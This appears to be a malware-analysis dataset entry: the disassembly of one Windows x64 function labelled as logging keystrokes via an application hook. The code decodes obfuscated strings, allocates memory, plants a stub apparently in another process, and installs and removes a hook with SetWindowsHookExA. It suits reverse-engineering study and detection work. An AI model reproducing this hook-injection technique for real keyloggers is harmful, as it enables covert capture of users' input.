Function at 0x140417fac
Capabilities:
Log keystrokes via application hook

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x118
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140486010]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov rsi, r9
mov r15, r8
mov qword [rbp + 0x20], r8
mov dword [rbp], edx
mov r14, rcx
mov qword [rbp + 0x58], rcx
mov ebx, dword [r9 + 0x90]
mov ecx, ebx
mov rdx, r9
call fcn.140417e78
mov r12, rax
test ebx, ebx
je 0x1404183ca
cmp dword [rsi + 0x94], 0
je 0x1404183ca
movabs rbx, 0x1b49959b33a94115
mov qword [rbp + 0xa0], rbx
movabs rdi, 0xc09114b295c86466
mov qword [rbp + 0xa8], rdi
movabs rax, 0xc77a3c89d1841847
mov qword [rbp + 0xb0], rax
movabs rcx, 0xf3624860748cc108
mov qword [rbp + 0xb8], rcx
movabs rax, 0x4f69f0e852cc2d45
mov qword [rbp + 0x60], rax
movabs rax, 0xe0fe60dcdce80607
mov qword [rbp + 0x68], rax
movabs rax, 0xc77a48e8b9c74a11
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rcx
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbp + 0x70]
movups xmmword [rbp + 0x90], xmm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0xa0]
vmovdqa ymmword [rbp + 0x80], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x30], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x40], xmm1
lea rax, [rbp + 0x80]
or r8, 0xffffffffffffffff
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x1404180d7
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x30]
call fcn.1403dda00
nop
mov edx, 5
lea rcx, [rbp + 0x30]
call fcn.1404170a0
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x14041813f
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14041813a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14041813a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140426914
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add r12, 0xc
mov qword [rbp + 0x28], r12
mov ecx, dword [r12]
mov r8, r15
mov rdx, rsi
call fcn.140417e78
jmp 0x1404183be
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], rdi
movabs rax, 0x772dbbf75fcd357b
mov qword [rbp + 0x30], rax
movabs rax, 0xc09114b295c8640a
mov qword [rbp + 0x38], rax
movups xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov edx, 0x1000
mov rcx, r14
call fcn.1403d52c8
mov rdi, rax
mov qword [rbp + 8], rax
mov edx, 0xc8
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x18], rax
movups xmm0, xmmword [0x140486070]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140486080]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140486090]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x1404860a0]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [0x1404860b0]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [0x1404860c0]
movups xmmword [rax + 0x50], xmm1
lea rcx, [rdi + 0x60]
mov qword [rbp + 0x50], rcx
mov qword [rax + 6], rcx
lea rdi, [rax + 0x60]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rdi + 8], rax
lea rcx, [rdi + 0x18]
mov r8, r13
mov edx, 0x50
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov r9d, 0xc8
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp + 8]
mov rcx, r14
call fcn.1403d5270
mov r9d, dword [rbp]
mov r8, rbx
mov rdx, qword [rbp + 8]
mov ecx, 7
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [rbp + 0x10], rax
cmp dword [rdi], 2
je 0x1404182ac
mov rbx, qword [rbp + 0x50]
mov r9d, 0x68
mov r8, rdi
mov rdx, rbx
mov rcx, r14
call fcn.1403d5218
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rdi], 2
jne 0x140418284
mov rax, qword [rbp + 0x10]
mov rbx, qword [rdi + 0x10]
mov qword [rbp + 0x10], rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rdx, qword [rbp + 8]
mov rcx, r14
call fcn.1403d532c
xor edx, edx
mov r8d, 0x8000
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rbx, rbx
je 0x1404183f2
mov ecx, dword [r12 + 4]
mov r8, r15
mov rdx, rsi
call fcn.140417e78
mov r14, rax
mov rdi, qword [rax]
test rdi, rdi
je 0x14041838f
mov r12, qword [rbp + 0x20]
jns 0x140418332
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rbx, rax
movzx edx, di
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
sub r15, rbx
mov rcx, rbx
jmp 0x14041836b
mov r8, r12
mov rdx, rsi
mov rcx, rdi
call fcn.140417e78
mov rbx, rax
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
lea rdx, [rbx + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
sub r15, rdi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rbp + 0x10]
add rax, r15
mov qword [r14], rax
add r14, 8
mov rdi, qword [r14]
test rdi, rdi
jne 0x140418307
mov r12, qword [rbp + 0x28]
mov r15, qword [rbp + 0x20]
add r12, 0x14
mov qword [rbp + 0x28], r12
mov ecx, dword [r12]
mov r8, r15
mov rdx, rsi
call fcn.140417e78
mov r14, qword [rbp + 0x58]
movabs rbx, 0x1b49959b33a94115
movabs rdi, 0xc09114b295c86466
test rax, rax
mov r13, rax
jne 0x140418166
mov eax, 1
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.140426620
add rsp, 0x118
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor eax, eax
jmp 0x1404183cf